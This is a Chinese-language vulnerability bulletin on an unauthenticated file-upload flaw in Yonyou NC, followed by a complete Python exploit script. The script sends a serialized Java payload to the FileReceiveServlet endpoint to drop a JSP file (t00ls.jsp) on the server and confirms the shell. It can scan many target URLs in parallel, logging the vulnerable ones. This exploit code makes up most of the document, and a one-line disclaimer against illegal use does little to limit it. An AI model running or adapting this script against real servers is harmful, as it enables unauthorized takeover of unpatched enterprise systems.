0x00漏洞公告
用友NC產品文件上傳的漏洞，惡意攻擊者可以通過該漏洞上傳任意文件，從而可能導致獲取到目標系統管理權限，目前，官方暫未發布補丁公告，建議使用該產品用戶及時關注官方安全漏洞公告和補丁更新動態。
0x01影響范圍
用友NC遠程代碼執行漏洞影響版本：NC6.5之后版本。
0x02漏洞描述
根據分析，漏洞為文件上傳漏洞，在無需登陸系統的情況下，通過某接口直接上傳文件，惡意攻擊者成功利用該漏洞可獲得目標系統管理權限，系統如果直接暴露在互聯網上風險較大，建議及時排查。
0x03 漏洞exp
這EXP是從Tools上的，利用成功后會向根目錄寫入一個T00ls.jsp文件,禁止利用於非法用途。
import requests
import threadpool
import urllib3
import sys
import argparse
urllib3.disable_warnings()
proxies = {'http': 'http://localhost:8080', 'https': 'http://localhost:8080'}
header = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": "https://google.com",
}
def multithreading(funcname, filename="url.txt", pools=5):
works = []
with open(filename, "r") as f:
for i in f:
func_params = [i.rstrip("\n")]
works.append((func_params, None))
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(funcname, works)
[pool.putRequest(req) for req in reqs]
pool.wait()
def wirte_targets(vurl, filename):
with open(filename, "a+") as f:
f.write(vurl + "\n")
return vurl
def exp(u):
uploadHeader = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
"Content-Type": "multipart/form-data;",
"Referer": "https://google.com"
}
uploadData = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74\x00\x09\x74\x30\x30\x6c\x73\x2e\x6a\x73\x70\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78"
shellFlag="t0test0ls"
uploadData+=shellFlag
try:
req1 = requests.post(u + "/servlet/FileReceiveServlet", headers=uploadHeader, verify=False, data=uploadData, timeout=25)
if req1.status_code == 200 :
req3=requests.get(u+"/t00ls.jsp",headers=header, verify=False, timeout=25)
if req3.text.index(shellFlag)>=0:
printFlag = "[Getshell]" + u+"/t00ls.jsp" + "\n"
print (printFlag)
wirte_targets(printFlag, "vuln.txt")
except :
pass
#print(printFlag, end="")
if __name__ == "__main__":
if (len(sys.argv)) < 2:
print('useage : python' +str(sys.argv[0]) + ' -h')
else:
parser =argparse.ArgumentParser()
parser.description ='YONYOU UC 6.5 FILE UPLOAD!'
parser.add_argument('-u',help="url -> example [url]http://127.0.0.1[/url]",type=str,dest='check_url')
parser.add_argument('-r',help="url list to file",type=str,dest='check_file')
args =parser.parse_args()
if args.check_url:
exp(args.check_url)
if(args.check_file):
multithreading(exp, args.check_file, 8) 其實代碼里面帶了代理功能，可以通過Burp抓包看他請求的一個數據包
